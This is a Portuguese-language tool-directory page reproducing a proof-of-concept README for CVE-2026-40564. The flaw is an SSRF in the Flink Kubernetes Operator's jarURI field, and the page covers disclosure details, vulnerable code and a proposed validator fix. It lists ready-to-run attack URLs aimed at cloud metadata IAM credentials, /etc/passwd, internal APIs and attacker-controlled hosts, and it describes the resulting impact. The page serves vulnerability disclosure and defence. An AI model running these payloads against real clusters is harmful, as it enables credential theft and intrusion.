Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40564 — CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command. | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-40564
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud Security
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-40564: SSRF via FlinkSessionJob.spec.job.jarURI no flink-kubernetes-operator

O Apache Flink Kubernetes Operator não verifica o campo spec.job.jarURI nos recursos FlinkSessionJob (ou FlinkDeployment). Qualquer pessoa que possa criar um desses recursos pode definir jarURI para qualquer URL. Quando o operador reconcilia o recurso, ele busca essa URL de dentro do seu próprio pod. O esquema pode ser http, https, file ou qualquer um dos plugins de sistema de arquivos que o Flink fornece, então a requisição pode ir para quase qualquer lugar que o pod do operador consiga alcançar.

  • CVE: CVE-2026-40564
  • Afetado: flink-kubernetes-operator 1.14.0, e main (1.15-SNAPSHOT em 09-04-2026)
  • Informado para [email protected] e [email protected] em 09-04-2026
  • Cadeia de chamadas: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Executando

root@kitploit:~
make verify

Isso executa cinco etapas em ordem:

  1. criar um cluster kind local
  2. instalar o operador (1.14.0) com Helm
  3. iniciar um cluster de sessão Flink e aguardar a inicialização do seu JobManager
  4. solicitar uma URL nova do webhook.site e, em seguida, aplicar um FlinkSessionJob cujo jarURI aponte para ela
  5. consultar (poll) o webhook.site e exibir as requisições que ele recebeu

Quando funciona, o final da execução se parece com isso:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

A primeira execução leva cerca de 6 a 8 minutos. A maior parte disso é para baixar a imagem flink:1.17, que tem cerca de 700 MB. Execuções posteriores levam cerca de 3 minutos.

O que você precisa

docker, kind, kubectl 1.23 ou mais novo, helm 3, make, curl e jq. O cluster precisa ter acesso à internet para se comunicar com o webhook.site.

Apontando para uma URL diferente

Por padrão, o Makefile obtém uma URL nova do webhook.site para você. Para enviar a requisição para outro lugar, defina SSRF_URL com o jarURI completo que desejar. Ela é usada como está.

root@kitploit:~
# reutilizar uma URL específica do webhook.site
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# seu próprio colaborador (Burp, interactsh, um listener netcat, etc.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# o serviço de metadados da instância AWS
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# um esquema não http tratado pela camada de sistema de arquivos do Flink
make verify SSRF_URL=file:///etc/passwd

A forma como a verificação confirma o resultado depende do destino. Se a URL estiver no webhook.site, o Makefile lê sua API REST e exibe as requisições capturadas. Para qualquer outra coisa, ele lê o log do operador e procura pelo stack frame HttpArtifactFetcher.fetch, que indica que a busca foi executada. WEBHOOK_URL também funciona e significa a mesma coisa que SSRF_URL.

Limpeza

root@kitploit:~
make cleanup

Isso remove o cluster kind. Nada fica para trás.

Por que isso acontece

Três classes estão envolvidas, e nenhuma delas verifica o esquema, host ou IP em jarURI.

DefaultValidator.validateJobSpec verifica paralelismo, modo de atualização, configurações de savepoint e formato do recurso. Ele nunca lê job.getJarURI():

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

ArtifactManager.fetch seleciona um buscador (fetcher) baseado no esquema. Não há lista de allow (allowlist), e qualquer coisa que não seja http ou https cai na camada de sistema de arquivos do Flink:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch abre a URL como fornecida. Não há verificação de host, nem de faixa de IP, e nada que o impeça de acessar endereços loopback ou link-local:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

O que um atacante obtém

O operador geralmente é executado com RBAC amplo. O chart oficial do Helm concede * em vários tipos de recurso, incluindo segredos, e o pod normalmente pode alcançar a rede sem restrições. Se você puder fazê-lo enviar requisições por você, poderá:

  • ler serviços de metadados da nuvem (AWS, GCE, Azure) e obter as credenciais IAM vinculadas ao nó do operador
  • alcançar serviços dentro do cluster que só escutam na rede interna, ou que confiam no IP de origem do operador
  • escanear portas internas às cegas, lendo o resultado da mensagem de erro no status do FlinkSessionJob
  • usar file, s3, hdfs, gs ou qualquer outro esquema de sistema de arquivos do Flink para ler arquivos locais ou se comunicar com armazenamento que o operador pode alcançar mas você não

Em um cluster compartilhado onde várias equipes usam o mesmo operador, qualquer uma delas pode usá-lo para alcançar os recursos de outra equipe.

Outras URLs que funcionam

O reprodutor usa como padrão o webhook.site, mas o bug não se importa com qual URL é. Defina SSRF_URL ou edite manifests/vulnerable-sessionjob.yaml para qualquer uma destas:

Corrigindo

Adicione uma verificação em DefaultValidator.validateJobSpec:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("jarURI host cannot be resolved");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("jarURI host points to a restricted address");
        }
    }
    return Optional.empty();
}

Defina KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES com o padrão de Set.of("https"). Operadores que precisam de s3 ou outro esquema podem adicioná-lo.

Mais duas coisas que valem a pena fazer:

  • Adicionar uma NetworkPolicy para o pod do operador que bloqueie egresso para link-local (169.254.0.0/16), loopback e os endereços conhecidos de metadados da nuvem.
  • Na AWS, ative o IMDSv2. Assim, mesmo um SSRF funcional não pode ler o serviço de metadados sem um token de sessão, e o operador não tem motivo para enviar um.

Notas

O Makefile contorna duas coisas que quebram o kind no Linux. Cada verificação só é executada quando o problema está realmente presente, então é seguro executar novamente.

  1. Encaminhamento do CoreDNS para loopback. Com o systemd-resolved, o /etc/resolv.conf do nó kind aponta para 127.0.0.1, então o cluster resolve nomes externos para localhost. A etapa cluster-up reescreve a configuração do CoreDNS para encaminhar para 1.1.1.1 e 8.8.8.8.
  2. O pod do operador herdando os domínios de busca DNS do host. Com ndots definido como 5, um nome como webhook.site recebe os domínios de busca do host adicionados primeiro, e alguns ISPs respondem com 127.0.0.1 para subdomínios que não reconhecem. A etapa install-operator dá ao pod do operador seu próprio dnsConfig para que isso não aconteça.

Se uma execução completa falhar no meio, você pode executar make verify-ssrf sozinho. Ele lê o jarURI do FlinkSessionJob ativo, então não depende de nada salvo localmente.

Baixar ferramenta
jarURI
Alcança
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, as credenciais IAM do nó do pod do operador
http://10.0.0.1:6443/apiUm apiserver dentro do cluster, ou qualquer endpoint interno que permita o IP do operador
file:///etc/passwdO próprio sistema de arquivos do pod do operador, através do ramo do buscador de sistema de arquivos
s3://attacker-bucket/x.jarS3, usando as credenciais do pod do operador